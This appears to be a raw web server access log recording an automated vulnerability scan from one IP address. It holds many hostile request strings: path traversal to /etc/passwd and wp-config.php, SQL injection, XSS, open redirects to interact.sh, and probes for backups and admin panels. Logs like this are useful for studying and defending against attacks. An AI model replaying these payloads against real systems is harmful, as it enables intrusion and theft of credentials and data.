[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/errors HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zdm/login_xdm_uc.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.rsp HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wpv-image=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 3426
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /my-account/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/~baseapp/UploadServlet HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?BazaR&vue=saisir&action=saisir_fiche&id=2 HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog/wp/readme.html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/Upward/go.php?https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //trade.kingston.com.hk:443_db.sql HTTP/1.1" 199
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /carbon/admin/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config-sample.php HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /feed/ HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-login.php?wp_lang=en_US%27 HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/pdf-invoices/ HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /run HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/dept.jsp?deptid=1'+UNION+ALL+SELECT+60%2Csys.fn_sqlvarbasetostr(HASHBYTES('MD5'%2C'999999999'))--+ HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //playground HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //compile.sh HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws_ftp.log HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/smart-manager-for-wp-e-commerce/sm/woo-json.php HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wptouch_switch=desktop&redirect=https://interact.sh/ HTTP/1.1" 3426
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20md5(999999999)),0x7e),1)--%20 HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /services/Version HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/altair/functions/ HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wpify-woo/deps/dragonbe/vies/examples/async_processing/queue.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /xmlrpc/pingback HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile.html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //am/json/serverinfo/* HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?u=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-u%27%29%3E&groups=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-groups%27%29%3E&signup_for=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-signup_for%27%29%3E&user_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-user_id%27%29%3E&type=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-type%27%29%3E&desc=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-desc%27%29%3E&newcontent=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-newcontent%27%29%3E&foo=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-foo%27%29%3E&message=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-message%27%29%3E&d=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-d%27%29%3E&width=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-width%27%29%3E&_wp_http_referer=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-_wp_http_referer%27%29%3E&post_status=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post_status%27%29%3E&author=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-author%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog/wp-content/plugins/1-flash-gallery/ HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci/web HTTP/1.1" 199
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?PagePrincipale/rss&id=1%27+and+extractvalue(0x0a,concat(0x0a,(select+concat_ws(0x207c20,md5(999999999),1,user()))))--+- HTTP/1.1" 3426
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /versa/dist/images/versa-logo.png HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Proxy HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog/wp-content/themes/haberadam/api/mobile-info.php?id HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gallery-plugin/upload/files/ukron.png HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/~iufo/com.ufida.web.action.ActionServlet?TableSelectedID&TreeSelectedID&action=nc.ui.iufo.release.InfoReleaseAction&method=createBBSRelease HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/mediafile/templateOfTaohong_manager.jsp?path=/../../../ HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-config.php-backup HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /userpost/xerox.set HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-post.php?alg_wc_pif_download_file=../../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /id_dsa HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /xxl-job-admin/login HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //infos.php HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /zdm/cxf/login HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/xweb500.cgi HTTP/1.1" 199
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin/ServerSide/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?mdocs-img-preview=../../../wp-config.php HTTP/1.1" 3426
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /carbon/admin/login_action.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/wpdm-cache/ HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v2/application.wadl HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /file/fileNoLogin/%7B%7Bidname%7D%7D HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wt3/forceSave.php?file=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/simple-file-list/daebcbi.php HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //editor/ckeditor/samples/ HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/FileReceiveServlet HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wsdl HTTP/1.1" 3426
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.dhtml HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xxl-job-admin/toLogin HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /protected/data/sqlite.db HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/auth/login?p=Login&t=1 HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xprober.php HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/system/ExecuteSqlForSingle HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/page_start.php HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //by.htm HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uapim/static/pages/4/head.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?m=member&f=login_save HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http:/ntp/ HTTP/1.1" 226
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/getemaildata.php?DontCheckLogin=1 HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.1.json HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws_ftp.ini HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/default/view HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(999999999)) HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/file?cmd=getFileLocal&fileid=..%2F..%2F..%2F..%2Fwebapps/nc_web/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/group/list HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /author-sitemap.xml HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/examples/servlets/servlet/SessionExample HTTP/1.1" 226
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api-docs/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog/debug.log HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?PagePrincipale/rss&id=1%27%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ncupload/n2d19a.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../..//etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/authentication/services/test/backend/login HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zb_system/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zabbix/zabbix.php?action=dashboard.list HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT(*)%2cCONCAT(0x7e%2cmd5(999999999)%2c0x7e%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b' HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1" 3426
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://ntp/ HTTP/1.1" 226
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //env.sh HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //portal-graphql HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?feed=rss2 HTTP/1.1" 3426
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?route=%2Fworkspaces%2Fdefault%3F HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zenario/admin/welcome.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //localhost.sql HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /toLogin HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mainpage/msglog.aspx?user=1%27%20and%201=convert(int,(select%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27127381%27))))-- HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?BazaR&vue=consulter HTTP/1.1" 3426
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //me.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /protected/data/sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /FrontController HTTP/1.1" 196
